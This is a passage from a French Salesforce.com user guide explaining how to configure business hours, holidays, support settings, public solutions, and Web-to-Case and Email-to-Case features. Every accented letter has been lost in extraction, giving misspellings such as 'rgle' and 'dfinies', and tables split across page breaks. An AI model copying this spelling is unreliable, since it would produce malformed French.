avec les heures et l'emplacement de la rgle. Par dfaut, les heures d'ouverture sont dfinies 24h/24, 7j/7 dans le fuseau horaire
par dfaut spcifi dans le profil de votre entreprise. Pour plus d'informations, reportez-vous Configuration de votre entreprise
la page 41 et Configuration des rgles de hirarchisation la page 624.
Pour configurer les heures d'ouverture :
1. Cliquez sur Configuration Profil de la socit Heures d'ouverture.
2. Cliquez sur Nouvelles heures d'ouverture.
3. Entrez un nom pour les heures d'ouverture.
Nous vous recommandons de saisir du texte, dans le champ Nom d'heures d'ouverture, qui rappellera aux utilisateurs
un emplacement ou un fuseau horaire lorsqu'ils consulteront les heures d'ouverture d'une requte. Par exemple, si vos heures
d'ouverture concernent un centre de support San Francisco, vous pouvez saisir Heures d'ouverture San
Francisco.
4. Cliquez sur Actif pour autoriser les utilisateurs associer les heures d'ouverture de ces requtes et les rgles de
hirarchisation.
Une fois les heures d'ouverture dfinies sur actives, vous pouvez dsactiver la case Actif pour dsactiver les heures d'ouverture
et empcher les utilisateurs de les associer avec des requtes et des rgles de hirarchisation. Vous ne pouvez pas supprimer
les heures d'ouverture.
5. Vous pouvez aussi cliquer sur Utiliser ces heures d'ouverture par dfaut pour configurer des heures
d'ouverture comme heures d'ouverture par dfaut pour toutes les nouvelles requtes.
Les heures d'ouverture par dfaut de requtes peuvent tre mises jour avec des heures d'ouverture selon des rgles de
hirarchisation si les requtes correspondent aux critres de rgle de hirarchisation et si la rgle est configure pour remplacer
les heures d'ouverture. Pour plus de dtails, reportez-vous Configuration des rgles de hirarchisation la page 624.
6. Choisissez un fuseau horaire grce aux heures d'ouverture de la liste droulante Fuseau horaire.
7. Dfinissez vos heures d'ouverture pour chaque jour de la semaine :

Par dfaut, la case 24 heures est coche en regard de chaque jour. Dsactivez cette case si votre quipe de support
n'est pas disponible pendant la journe entire. Si vous dsactivez la case 24 heures, vous pouvez entrer les heures
de dbut et de fin pour les heures d'ouverture.
Slectionnez les heures de dbut et de fin pour les heures d'ouverture. Si l'heure dsire n'est pas disponible, cliquez
sur le champ et saisissez-la. Les heures de dbut doivent tre antrieures aux heures de fin.

8. Cliquez sur Enregistrer.

9. Vous pouvez galement associer les heures d'ouverture aux lments suivants :

Rgles de hirarchisation : lorsque les dtails d'une requte correspondent aux critres d'une rgle de hirarchisation,
la requte est mise jour et hirarchise avec les heures d'ouverture de la rgle. Pour plus d'informations, reportez-vous
Configuration des rgles de hirarchisation la page 624.
Vacances : les heures d'ouverture et les rgles de hirarchisation qui leur sont associes sont interrompues durant les
dates et les heures spcifies dans les vacances. Pour plus d'informations, reportez-vous Dfinition des vacances la
page 595.

Pour mettre jour les heures d'ouverture, cliquez sur Configuration Profil de l'entreprise Heures d'ouverture et cliquez
sur le lien Modifier ct des heures d'ouverture que vous souhaitez mettre jour.
Conseils concernant la configuration des heures d'ouverture
Tenez compte des points suivants lors de la configuration des heures d'ouverture :

Personnaliser

Guide de l'utilisateur | Dfinition des vacances | 595

Une fois que vous avez ajout des heures d'ouverture, ajoutez le champ de recherche Heures d'ouverture aux
prsentations de requtes et configurez les paramtres de scurit du champ dans le champ Heures d'ouverture. Cela
permet aux utilisateurs de consulter et de mettre jour les heures d'ouverture d'une requte. Pour plus d'informations,
reportez-vous Personnalisation des prsentations de page la page 546 et Configuration de la scurit au niveau du champ
la page 182.
Les heures d'ouverture d'une requte sont automatiquement configures sur les heures d'ouverture de votre entreprise,
moins que la requte ne corresponde aux critres d'une rgle de hirarchisation associe diffrentes heures d'ouverture.
Salesforce.com calcule automatiquement les heures d't des fuseaux horaires disponibles pour les heures d'ouverture.
Les rgles de hirarchisation ne sont valables que pendant les heures d'ouverture auxquelles elles sont associes. Pour plus
d'informations, reportez-vous Configuration des rgles de hirarchisation la page 624.
Vous pouvez mettre jour des requtes avec des heures d'ouverture qui ne sont plus actives sans avoir remplacer les heure
d'ouverture inactives par des heures d'ouverture actives.
Vous ne pouvez pas inclure le champ Heures d'ouverture dans l'affichage des listes ou les rapports.
Vous pouvez crer plusieurs heures d'ouverture pour les quipes de support qui oprent dans le mme fuseau horaire mais
des heures diffrentes.
Pour plus de simplicit, nous vous recommandons de crer un ensemble d'heures de bureau par centre de support.
Vous ne pouvez pas dsactiver des heures d'ouverture qui sont incluses dans des rgles de hirarchisation. Pour dsactiver
des heures d'ouverture utilises par des rgles de hirarchisation, vous devez d'abord supprimer les heures d'ouverture des
rgles de hirarchisation. Pour plus d'informations, reportez-vous Configuration des rgles de hirarchisation la page
624.
Vous pouvez associer jusqu' 1 000 vacances chaque srie d'heures d'ouverture.

Voir aussi :
Gestion des rgles de hirarchisation
Configuration du support client

Dfinition des vacances

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour dfinir de vacances :

Grer les vacances pendant les heures d'ouverture

Les vacances permettent de spcifier les dates et les heures auxquelles votre quipe de support client n'est pas disponible. Une
fois les vacances cres, vous pouvez les associer des heures ouvrables afin de suspendre les heures d'ouverture et les rgles
de hirarchisation durant la priode spcifie dans les vacances. Pour plus d'informations, reportez-vous Dfinition des heures
d'ouverture la page 593 et Configuration des rgles de hirarchisation la page 624.
Pour dfinir de vacances :
1. Cliquez sur Configuration Profil de la socit Vacances.

Cliquez sur Modifier pour modifier des vacances existantes.

Cliquez sur Suppr pour supprimer des vacances existantes.

Personnaliser

Guide de l'utilisateur | Dfinition des vacances | 596

Vous pouvez supprimer uniquement des vacances qui ne sont pas associes des heures d'ouverture.

Cliquez sur Cloner en regard de vacances termines pour les cloner.

La liste associe Vacances termines affiche des vacances passes. Vous pouvez cloner uniquement des vacances termines.

Si le lien Aller la liste s'affiche en bas de la liste associe Vacances ou Vacances termines, cliquez dessus pour
afficher tous les lments. Dans cette liste, vous pouvez modifier ou supprimer des vacances existantes ou cloner des vacances
termines.
ATTENTION: Les vacances termines que vous supprimez sont places dans la Corbeille. Leur rcupration
est impossible.
L'icne de rcurrence ( ) s'affiche en regard de la date et de l'heure de vacances rcurrentes.
2. Cliquez sur Nouveau.
3. Entrez un nom pour les vacances.
4. Entrez une date pour les vacances.
Si vous souhaitez tendre les vacances sur plusieurs jours :
a.
b.
c.
d.

Cochez la case Vacances rcurrentes.

Entrez le premier jour des vacances dans le champ Date de dbut.
Dsactivez la case Aucune date de fin dans le champ Date de fin.
Entrez le dernier jour des vacances dans le champ Date de fin.

5. Vous pouvez galement :

Spcifier les heures exactes des vacances en dsactivant la case Toute la journe en regard du champ Heure et en
entrant des horaires exacts.
Cocher la case Vacances rcurrentes pour planifier une reproduction des vacances des dates et heures spcifiques :
-

Dans le champ Frquence, slectionnez la frquence laquelle les vacances se reproduisent. Si vous cliquez sur
les champs Tous les jours, Chaque semaine ou Chaque mois, davantage d'options s'affichent pour vous
permettre d'affiner les critres de frquence.
Dans les champs Date de dbut et Date de fin, spcifiez les dates auxquelles vous souhaitez reproduire les
vacances.
Le message d'erreur suivant s'affiche si vous slectionnez une date de dbut et une date de fin qui ne correspondent
pas la frquence que vous avez slectionne : Les vacances rcurrentes n'ont aucune occurrence.

6. Cliquez sur Enregistrer.

7. Cliquez sur Ajouter/supprimer dans la liste associe Heures d'ouverture.
8. Ajoutez ou supprimez des heures d'ouverture aux vacances en les slectionnant dans la colonne Heures d'ouverture
disponibles, puis cliquez sur les flches Ajouter ou Supprimer pour ajouter ou supprimer des heures d'ouverture dans la
colonne Heures d'ouverture slectionnes.
9. Cliquez sur Enregistrer.
Conseils relatifs la dfinition de vacances
Tenez compte des points suivants lors de la dfinition des vacances :

Vous pouvez associer des vacances plusieurs heures d'ouverture.

Personnaliser

Guide de l'utilisateur | Personnalisation des paramtres de support | 597

Vous pouvez associer jusqu' 1 000 vacances chaque srie d'heures d'ouverture.
Les vacances acquirent automatiquement le fuseau horaire des heures d'ouverture auxquelles elles sont associes. Par
exemple, si vous associez des vacances des heures d'ouverture CET, les vacances prennent effet aux heures d'ouverture
de la zone Europe centrale.
Le nom des vacances ne doit pas obligatoirement tre unique. Par exemple, vous pouvez entrer des vacances multiples
nommes Jour de l'An.
Actuellement, vous pouvez crer un nombre illimit de vacances pour votre organisation.
Actuellement, les rsultats des rapports ne tiennent pas compte des vacances.
Si vous planifiez une reproduction des vacances un jour spcifique de chaque mois, les vacances se reproduisent uniquement
les mois qui incluent ce jour. Par exemple, si vous planifiez des vacances le 31 de chaque mois, les vacances se reproduisent
uniquement les mois comprenant 31 jours. Si vous souhaitez reproduire des vacances le dernier jour de chaque mois,
choisissez dernier dans la liste droulante Jour de chaque mois.
Vous pouvez ajouter aux vacances uniquement les heures d'ouverture marques Actif. Pour plus d'informations,
reportez-vous Dfinition des heures d'ouverture la page 593.

Personnalisation des paramtres de support

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour modifier les paramtres du support :

Grer les requtes

AND
Personnaliser l'application

Pour optimiser les fonctions de support automatises, vous pouvez modifier les paramtres de support afin de spcifier certains
modles et valeurs par dfaut.
1. Cliquez sur Configuration Personnalisation Requtes Paramtres de support.
2. Cliquez sur Modifier pour personnaliser les paramtres par dfaut et les modles suivants :
Champ

Description

Responsable de la requte par dfaut

File d'attente ou utilisateur auquel sont attribues toutes les

requtes si ces dernires ne correspondent aucune entre de
la rgle d'attribution des requtes. Cet utilisateur ne peut pas
tre inactif.

Prvenir le responsable de la requte par

dfaut

Case cocher qui prcise si le responsable de la requte par

dfaut doit tre averti lorsqu'une requte lui est attribue.
Lorsque le nouveau responsable est une file d'attente, une
notification est envoye l'adresse e-mail de la file d'attente.
Les avis d'e-mail sont gnrs par le systme et ne peuvent
pas tre modifis.

Dfinition du type d'enregistrement

Si un utilisateur qui cre une requte applique des rgles

d'attribution, ce paramtre indique le type attribuer au nouvel

Personnaliser

Guide de l'utilisateur | Personnalisation des paramtres de support | 598

Champ

Description
enregistrement. Pour que les nouvelles requtes conservent le
type d'enregistrement du crateur, slectionnez Conserver
le type d'enregistrement existant. Pour remplacer
le type d'enregistrement du crateur lors de l'attribution des
rgles, slectionnez Remplacer le type
d'enregistrement existant par le type
d'enregistrement par dfaut du bnficiaire.

Utilisateur de la requte automatique

Utilisateur dsign dans la liste associe Historique de la

requte pour les modifications apportes la requte
automatique rsultant des rgles d'attribution, des rgles de
hirarchisation, de la fonction E-mail vers requte la
demande ou des requtes consignes dans le portail
libre-service. Cet utilisateur doit possder le profil
Administrateur systme ou les autorisations Modifier toutes
les donnes et Envoyer un e-mail.

Modle de cration de requte

Modle utiliser pour informer les contacts que leur requte

a t cre manuellement par un agent du support. L'envoi de
la notification par e-mail est facultatif ; cette fonction est
active par une case cocher sur la page de modification de la
requte. Ce modle doit avoir l'attribut Disponible.

Modle d'affectation de requte

Modle utiliser pour informer les utilisateurs qu'une requte

leur a t attribue manuellement par un administrateur ou
un autre utilisateur. L'envoi d'une notification par e-mail est
facultatif, cette fonction est active par une case d'option sur
la page Modifier le responsable de la requte. Ce modle doit
avoir l'attribut Disponible.

Modle de clture de requte

Modle utiliser pour informer les contacts de la clture d'une

requte. L'envoi de la notification par e-mail est facultatif ;
cette fonction est active par une case cocher sur la page de
clture de la requte. Ce modle doit avoir l'attribut
Disponible.

Activer la notification aux contacts des

commentaires sur la requte

Case cocher qui prcise si les contacts qui ne sont pas des
utilisateurs du portail libre-service peuvent recevoir une
notification par e-mail lorsqu'un commentaire de requte a
t modifi ou ajout une requte. Si vous choisissez cette
option, cliquez sur le champ de recherche Modle de
commentaire sur la requte et slectionnez le modle
d'e-mail utiliser pour ces notifications. Ce modle doit avoir
l'attribut Disponible.

Prvenir le responsable de la requte des

nouveaux commentaires sur la requte

Envoie une notification au responsable de la requte chaque

fois qu'un autre utilisateur ajoute un commentaire public ou
priv une requte. Lorsque cette case est coche, les
responsables de requte ne peuvent pas choisir de ne pas
recevoir ces notifications.

Personnaliser

Guide de l'utilisateur | Personnalisation des paramtres de support | 599

Champ

Description

Dclenchements prcoces activs

Cette case cocher s'applique aux rgles de hirarchie et

leurs actions. Vous pouvez configurer une rgle de hirarchie
pour effectuer une action lorsqu'une requte est reste sans
solution pendant un certain nombre d'heures. L'heure
d'anciennet que vous indiquez dtermine le moment o
Salesforce.com procde la hirarchisation. Pour vous assurer
que vos hirarchisations sont dclenches avant l'heure
d'anciennet spcifie, activez les dclenchements prcoces.

Activer les suggestions de solutions

Cochez cette case pour activer le bouton Suggestions de

solutions dans les pages de dtails de requte afin que les
reprsentants du support et les utilisateurs du portail Client
Salesforce.com aient accs aux suggestions de solutions de la
requte en question.
Pour plus d'informations sur les suggestions de solutions,
reportez-vous Prsentation des suggestions de solutions la
page 1932.
Pour plus d'informations sur la manire dont les utilisateurs
du portail Client Salesforce.com peuvent clturer
automatiquement leurs requtes, reportez-vous Activation
de la connexion et des paramtres du portail client la page
1293.
Pour plus d'informations sur la configuration des suggestions
de solutions pour votre portail libre-service, reportez-vous
Personnalisation de la page Suggestions de solutions la page
652.

Envoyer des notifications de requtes depuis Cochez cette case pour indiquer que les notifications de
l'adresse systme
commentaires de requtes, de pices jointes et d'attributions

expdies aux responsables de requtes sont envoyes partir

d'une adresse systme, et non depuis l'adresse de l'utilisateur
qui a mis jour la requte
Les notifications systme affichent l'adresse e-mail d'expdition
noreply@salesforce.com et le nom d'e-mail
correspondant au message, comme par exemple Notification
de commentaire de requte .
Vous pouvez cocher cette case pour viter que les utilisateurs
libre-service ou du portail Client, qui mettent jour leurs
requtes, reoivent des e-mails d'absence manant des
responsables de requtes dont la messagerie est paramtre
sur hors du bureau .
Prvenir les responsables de la requte
lorsque la responsabilit d'une requte
change

Cochez cette case pour spcifier que la case cocher Envoyer

une notification par e-mail des requtes est
automatiquement coche lorsque les utilisateurs remplacent
le responsable d'une requte par un autre. Le fait de cocher

Personnaliser

Guide de l'utilisateur | Personnalisation des paramtres de support | 600

Champ

Description
cette case permet d'viter que des utilisateurs oublient de
prvenir d'autres utilisateurs qu'ils sont les nouveaux
responsables d'une requte.
Notez que le fait de cocher cette case ne spcifie pas que la
case Envoyer une notification par e-mail est
automatiquement slectionne lorsque des utilisateurs
modifient le responsable d'une requte dans une file d'attente.
Reportez-vous Gestion des files d'attente la page 139.

Afficher les statuts clturs dans le champ

Statut de la requte

Cochez cette case pour ajouter des statuts clturs au champ

Statut sur des requtes que les utilisateurs peuvent fermer
sans cliquer sur le bouton Clturer la requte ni mettre jour
les informations relatives aux prsentations de page des
requtes cltures. Reportez-vous Clture de requtes la
page 1221.
La slection de l'option Afficher les statuts
clturs dans le champ Statut de la requte

ne retire pas le bouton Fermer des vues de liste de requtes.

Elle ajoute Ferm la liste des statuts disponibles pour les
utilisateurs qui slectionnent plusieurs requtes et cliquent sur
Modifier le statut dans les vues de liste de requtes.
Reportez-vous Affichage des listes de requtes la page 1208.
Masquer le bouton Enregistrer et fermer ainsi Aprs avoir slectionn Afficher les statuts
que les liens Cls
clturs dans le champ Statut de la requte

comme indiqu plus haut, vous pouvez activer cette case pour
ne pas afficher inutilement le bouton Enregistrer et
Fermer dans les pages de modification de requte, et les liens
Cls dans les listes associes Requtes. la place, les utilisateurs
peuvent fermer les requtes l'aide du champ Statut et du
bouton Enregistrer.

Voir aussi :
Gestion des modles de message
Gestion des files d'attente
Gestion des rgles d'attribution
Gestion des rgles de hirarchisation
Saisie de requtes Web
Configuration du support client

Personnaliser

Guide de l'utilisateur | Activation de solutions publiques | 601

Activation de solutions publiques

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour autoriser l'accs aux solutions par le site Web :

Personnaliser l'application

Dans l'onglet Solutions, votre quipe du service clientle peut crer des solutions utiles pour des utilisateurs externes votre
organisation. l'aide du code HTML fourni par Salesforce.com, vous pouvez, avec l'aide de votre administrateur de site Web,
ajouter au site une case et un bouton de recherche pour permettre vos clients de rechercher des solutions. Cette fonctionnalit
est appele Solutions publiques.
Elle permet vos clients de trouver les rponses aux questions les plus frquentes, sans recourir au centre de support clients.
Toutes les solutions dont le champ Statut est Rvis et le champ Visible dans la base de connaissances
publique est activ sont disponibles en tant que solutions publiques, y compris toute pice jointe aux solutions.
Les solutions publiques diffrent d'un portail libre-service et d'un portail client Salesforce.com car les utilisateurs ne sont pas
tenus se connecter et soumettre des requtes, ils peuvent simplement rechercher des solutions. Pour plus d'informations
sur le libre-service et le portail client, reportez-vous Configuration du libre-service la page 633 et Configuration de votre
portail client la page 1284.
Remarque:

Le bouton et la zone de recherche tant affichs dans un cadre, votre site Web doit prendre en charge les cadres
pour que la recherche de solutions fonctionne.
Les solutions suggres n'affichent pas les articles de la base de connaissances Salesforce Knowledge.

Pour activer l'accs aux solutions via le Web :

1.
2.
3.
4.

Cliquez sur Configuration Personnalisation Libre-Service Solutions publiques.

Cliquez sur Modifier.
Activez la case Solutions publiques actives.
Si votre organisation utilise des catgories de solutions, activez la case Activer la navigation dans les solutions
pour permettre aux clients d'explorer les solutions par catgorie. Les catgories de solutions ne peuvent pas tre traduites
pour les solutions publiques.
Si les solutions multilingues sont actives pour votre organisation, vous pouvez ajouter aux solutions publiques une liste
droulante des langues pour permettre aux clients de choisir la langue de recherche de solutions. Pour plus d'informations,
reportez-vous Personnalisation des paramtres de solution la page 618.

5. Si l'exploration de catgories de solutions est active, slectionnez la catgorie suprieure accessible par les clients
dans les solutions publiques. Les clients peuvent afficher toutes les solutions de cette catgorie et ses sous-catgories si elles
sont dsignes comme tant visibles dans la base de connaissances publique.
Laissez le champ Catgorie suprieure vide si vous souhaitez que les clients affichent toutes les solutions dans toutes
les catgories lorsqu'elles sont visibles dans les solutions publiques.
6. Au besoin, vous pouvez modifier l'aspect du cadre sur le site Web en indiquant la largeur de page maximale et la
hauteur de page minimale.

Personnaliser

Guide de l'utilisateur | Saisie de requtes Web | 602

7. Indiquez l'URL de votre page CSS dans URL de feuille de style. Le fichier CSS n'a pas besoin d'exister ce stade.
Vous pouvez tlcharger un exemple de fichier qui servira de base ultrieurement ou utiliser votre propre fichier.
8. Vous avez la possibilit de modifier le terme ou la phrase dsignant les solutions dans le cadre dans Autre terme. Indiquez
la forme au singulier et au pluriel du terme.
9. Cliquez sur Enregistrer.
10. Si besoin est, cliquez sur Tlcharger le fichier CSS exemple pour vous procurer la feuille de style de Salesforce.com.
11. Cliquez sur Gnrer le code HTML.
12. Copiez le code HTML fourni et cliquez sur Termin.
13. Transmettez le code HTML (et le fichier CSS si vous l'avez tlcharg) l'administrateur du site Web, pour qu'il soit
ajout au site de la manire suivante :

Ajoutez le code HTML la page Web.

Personnalisez la feuille de style tlcharge.
Hbergez la feuille de style dans un emplacement accessible par tous sur le serveur Web.

Saisie de requtes Web

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour configurer la fonction Web vers requte :

Autorisation de personnalisation de l'application

Avec la fonction Web vers requte, vous pouvez recueillir les demandes de support client directement partir du site Web de
votre socit et gnrer automatiquement jusqu' 500 nouvelles requtes par jour. Cette fonction permet aux entreprises de
rpondre plus rapidement leurs clients, ce qui accrot la productivit des quipes de support.

Configuration de la fonction Web vers requte

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour configurer la fonction Web vers requte :

Personnaliser l'application

Pour configurer la fonction Web vers requte :

1. Cliquez sur Configuration Personnalisation Libre-Service Web vers requte. Cet outil vous aide gnrer
le code HTML que votre administrateur Web peut insrer dans le site Web de l'entreprise.
a. Cliquez sur le lien pour autoriser la fonction Web vers requte, puis cochez la case pour l'activer.

Personnaliser

Guide de l'utilisateur | Saisie de requtes Web | 603

b. Slectionnez le modle de rponse par dfaut utiliser pour informer automatiquement les clients de la cration de leur
requte.
Si vous configurez des rgles de rponse dfinissant l'utilisation de diffrents modles de message selon les informations
soumises, le modle de message par dfaut est utilis lorsqu'aucune rgle de rponse ne s'applique. Pour des instructions
de configuration des rgles de rponse, reportez-vous Configuration des rgles de rponse automatique la page 629.
Ne renseignez pas ce champ si vous ne souhaitez pas envoyer de courriers lectroniques si aucune rgle de rponse ne
s'applique. Ce modle doit avoir l'attribut Disponible.
c. Choisissez l'origine par dfaut de toutes les requtes Web, puis cliquez sur Enregistrer.
d. Cliquez sur Gnrer le code HTML.
Conseil: Utilisez une liste de slection multiple pour permettre aux clients de crer des rapports sur les requtes
de plusieurs produits simultanment.
e. Pour slectionner les champs inclure dans votre formulaire Web vers requte, utilisez les flches Ajouter et Supprimer
pour dplacer les champs entre la liste Champs disponibles et la liste Champs slectionns. Utilisez les flches Haut et
Bas pour modifier l'ordre des champs du formulaire.
Lorsque votre organisation utilise plusieurs devises, ajoutez le champ Devise de la requte au fichier HTML si
vous ajoutez d'autres champs de devises. Dans le cas contraire, tous les montants apparaissent dans la devise utilise
par votre socit.
Pour les entreprises utilisant des types d'enregistrement pour les requtes, slectionnez le champ Type
d'enregistrement de requte pour que les utilisateurs soumettant des requtes Web slectionnent des types
d'enregistrement spcifiques.
f. Si votre entreprise utilise le portail libre-service ou le portail client et que vous souhaitez rendre les requtes gnres
par le Web visibles pour les utilisateurs dans ces portails , slectionnez Visible dans le portail libre-service.
g. Si votre organisation utilise le systme de traduction ou a renomm des onglets, slectionnez la langue des tiquettes
affiches sur le formulaire Web vers requte. l'origine, le formulaire Web vers requte est toujours dans votre langue.
h. Indiquez l'URL complte vers laquelle les clients doivent tre orients aprs avoir soumis leurs informations et cliquez
sur Gnrer. Il peut s'agir d'une page de remerciement ou de la page d'accueil de l'entreprise.
2. Copiez le code HTML gnr et communiquez-le l'administrateur Web de votre socit pour qu'il soit intgr votre
site Web.
3. Cliquez sur Termin.
4. Si vous voulez tester le formulaire Web vers requte, ajoutez la ligne <input type="hidden" name="debug"
value="1"> au code. Cette ligne redirige l'utilisateur vers une page de dbogage lorsque vous soumettez le formulaire.
N'oubliez pas de la supprimer avant de diffuser la page Web vers requte sur votre site Web.
Remarque:

Toutes les requtes gnres par le Web qui ne sont pas automatiquement attribues par la rgle d'attribution des
requtes sont affectes au responsable par dfaut spcifi dans vos paramtres de support.
Dans la mesure du possible, les requtes gnres par le Web sont associes automatiquement au contact et au
compte correct dtermin selon l'adresse e-mail du client.
Salesforce.com excute des rgles de validation de champ avant de crer des enregistrements envoys via la fonction
Web vers requte et cre uniquement les enregistrements dots de valeurs valides. Tous les champs universellement
requis doivent comporter une valeur pour qu'un enregistrement puisse tre cr via la fonction Web vers requte.
Le format des champs de date et de devise saisis en ligne est rcupr des paramtres par dfaut de l'organisation
: Paramtres rgionaux et Paramtres rgionaux de devise. Si votre organisation dpasse sa limite

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Guide de l'utilisateur | Configuration de la fonction E-mail vers requte ou E-mail vers requte la demande | 604

journalire de la fonction Web vers requte, le responsable de requte par dfaut (spcifi dans vos paramtres de
support) reoit un e-mail contenant les informations de requte supplmentaires

Voir aussi :
Attribution de requtes
Affichage et modification de requtes
Gestion des rgles d'attribution
Configuration du support client
Configuration du libre-service
Configuration des rgles de rponse automatique

Configuration de la fonction E-mail vers requte ou E-mail

vers requte la demande
E-mail vers requte est disponible dans : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition
E-mail vers requte ,la demande est disponible dans Professional Edition, Enterprise Edition, Unlimited Edition et
Developer Edition

Autorisations utilisateur requises

Pour configurer la fonction E-mail vers requte ou E-mail
vers requte la demande :

Personnaliser l'application

Pour activer la fonction E-mail vers requte ou E-mail vers

requte la demande :

Modifier toutes les donnes

AND
Personnaliser l'application

Salesforce.com peut crer automatiquement une requte lorsqu'un e-mail est envoy l'une des adresses e-mail de la socit,
telles que support@societe.com. La fonctionnalit E-mail vers requte insre automatiquement dans les champs de requte le
contenu de chaque e-mail. Par exemple, l'objet d'un e-mail devient l'objet d'une requte. Votre organisation peut configurer
la fonction E-mail vers requte ou E-mail vers requte la demande afin de rpondre efficacement aux demandes des clients
via e-mail.
Salesforce.com permet de slectionner l'une des deux options E-mail vers requte :
E-mail vers requte
E--mail vers requte ncessite le tlchargement de l'agent E-mail vers requte depuis
wiki.apexdevnet.com/index.php/Email_To_Case et son installation derrire le pare-feu de votre rseau.
Utilisez la fonction E-mail vers requte si vous devez protger l'ensemble du trafic de messagerie derrire votre pare-feu
mais souhaitez accepter des pices jointes dpassant 10 Mo envoyes par des clients.

Personnaliser

Guide de l'utilisateur | Configuration de la fonction E-mail vers requte ou E-mail vers requte la demande | 605

E-mail vers requte la demande

E--mail vers requte la demande utilise les services de messagerie Apex pour convertir les e-mails en requtes, sans
avoir tlcharger et installer un agent derrire le pare-feu de votre rseau.
Utilisez la fonction E-mail vers requte la demande si vous n'tes pas soucieux de protger l'ensemble du trafic de
messagerie derrire un pare-feu et d'accepter des pices jointes dpassant 10 Mo envoyes par des clients.
Configuration de la fonction E-mail vers requte
Les tapes principales suivantes prsentent comment configurer la fonction E-mail vers requte :
1. Dterminez les adresses d'acheminement d'e-mails que vos clients peuvent utiliser pour soumettre des requtes votre
quipe de support. Les e-mails sont automatiquement convertis en requtes en fonction des paramtres spcifis pour
chaque adresse d'acheminement.
2. Dans Salesforce.com, activez E-mail vers requte, puis configurez vos adresses d'acheminement d'e-mail. Reportez-vous
Activation et configuration de la fonction E-mail vers requte la page 606
3. Tlchargez l'agent E-mail vers requte depuis wiki.apexdevnet.com/index.php/Email_To_Case.
4. Installez l'agent derrire le pare-feu de votre rseau.
5. Testez vos adresses d'acheminement d'e-mails :
a. Envoyez manuellement des e-mails vers les adresses d'acheminement.
b. Vrifiez que les e-mails sont convertis en requtes en fonction de leurs paramtres d'adresses d'acheminement.
6. Ajoutez l'adresse e-mail que vous avez configure pour le site Web de support de votre organisation. Les utilisateur peuvent
slectionner cette adresse e-mail pour soumettre des requtes votre quipe de support.
7. Ajoutez la liste associe E-mails la prsentation de page Requtes. Pour plus d'informations, reportez-vous
Personnalisation des prsentations de page la page 546.
Remarque: Vous pouvez crer des modles d'e-mails utiliss par les reprsentants du support pour rpondre des
messages E-mail vers requte ou E-mail vers requte la demande. Ces modles peuvent inclure des champs de fusion
affichant les donnes de l'e-mail d'origine dans la rponse. Reportez-vous Gestion des modles d'e-mails la page
76.
Configuration de la fonction E-mail vers requte la demande
Les tapes principales suivantes prsentent comment configurer la fonction E-mail vers requte la demande :
1. Dterminez les adresses d'acheminement d'e-mails que vos clients peuvent utiliser pour soumettre des requtes votre
quipe de support. Les e-mails sont automatiquement convertis en requtes en fonction des paramtres spcifis pour
chaque adresse d'acheminement.
2. Dans Salesforce.com, configurez vos adresses d'acheminement d'e-mails et activez la fonction E-mail vers requte la
demande. Reportez-vous Activation et configuration de la fonction E-mail vers requte la demande la page 610.
3. Configurez votre systme de messagerie pour transmettre les soumissions de requtes vers les adresses de services de
messagerie fournies par Salesforce.com. Pour plus d'informations, reportez-vous la documentation de votre systme de
messagerie.
4. Testez vos adresses d'acheminement d'e-mails :
a. Envoyez manuellement des e-mails vers les adresses d'acheminement.
b. Vrifiez que les e-mails sont convertis en requtes en fonction de leurs paramtres d'adresses d'acheminement.
5. Ajoutez l'adresse e-mail que vous avez configure pour le site Web de support de votre organisation. Les utilisateur peuvent
slectionner cette adresse e-mail pour soumettre des requtes votre quipe de support.
6. Ajoutez la liste associe E-mails la prsentation de page Requtes. Pour plus d'informations, reportez-vous
Personnalisation des prsentations de page la page 546.

Personnaliser

Guide de l'utilisateur | Configuration de la fonction E-mail vers requte ou E-mail vers requte la demande | 606

Remarque: Vous pouvez crer des modles d'e-mails utiliss par les reprsentants du support pour rpondre des
messages E-mail vers requte ou E-mail vers requte la demande. Ces modles peuvent inclure des champs de fusion
affichant les donnes de l'e-mail d'origine dans la rponse. Reportez-vous Gestion des modles d'e-mails la page
76.

Activation et configuration de la fonction E-mail vers requte

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour configurer la fonction E-mail vers requte :

Personnaliser l'application

Pour activer la fonction E-mail vers requte :

Modifier toutes les donnes

AND
Personnaliser l'application

Cette rubrique prsente l'activation et la configuration de la fonction E-mail vers requte l'aide des options disponibles dans
la page Paramtres E-mail vers requte. En complment, reportez-vous Configuration de la fonction E-mail vers requte
la demande pour consulter les principales tapes effectuer avant et aprs les tches prsentes dans la prsente rubrique.
Cette rubrique s'adresse aux utilisateurs qui excutent l'agent E-mail vers requte derrire le pare-feu de leur rseau, contrairement
E-mail vers requte la demande qui utilise les services de messagerie Apex. Pour plus d'informations sur l'activation et la
configuration de la fonction E-mail vers requte la demande, reportez-vous Activation et configuration de la fonction
E-mail vers requte la demande la page 610.
Avant de commencer, consultez les informations de la rubrique Conseils relatifs la fonction E-mail vers requte la page
609.
Pour mettre en oeuvre la fonction E-mail vers requte, vous devez ajouter une nouvelle adresse d'acheminement e-mail, la
vrifier, puis activer cette fonction :
1. Cliquez sur Configuration Personnalisation Requtes E-mail vers requte.
Sur la page Paramtres d'e-mail vers requte, vous pouvez :

Cliquer sur Modifier pour modifier une adresse d'acheminement existante.

Cliquer sur Suppr pour supprimer une adresse d'acheminement existante.
Cliquer sur Vrifier pour confirmer et vrifier l'adresse e-mail utilise dans une adresse d'acheminement existante. Un
e-mail de vrification est immdiatement envoy la nouvelle adresse d'acheminement, avec un lien qui permet de
mener bien le processus de vrification lorsque vous cliquez dessus.

2. Dans la liste associe Adresse d'acheminement, cliquez sur Nouveau. Vous pouvez crer jusqu' 50 adresses d'acheminement
afin d'administrer chaque adresse e-mail pour la fonction E-mail vers requte. Une adresse d'acheminement est oprationnelle
ds que vous activez la fonction E-mail vers requte.
3. Saisissez les paramtres de l'adresse d'acheminement.

Personnaliser

Guide de l'utilisateur | Configuration de la fonction E-mail vers requte ou E-mail vers requte la demande | 607

Paramtre

Description

Nom d'acheminement

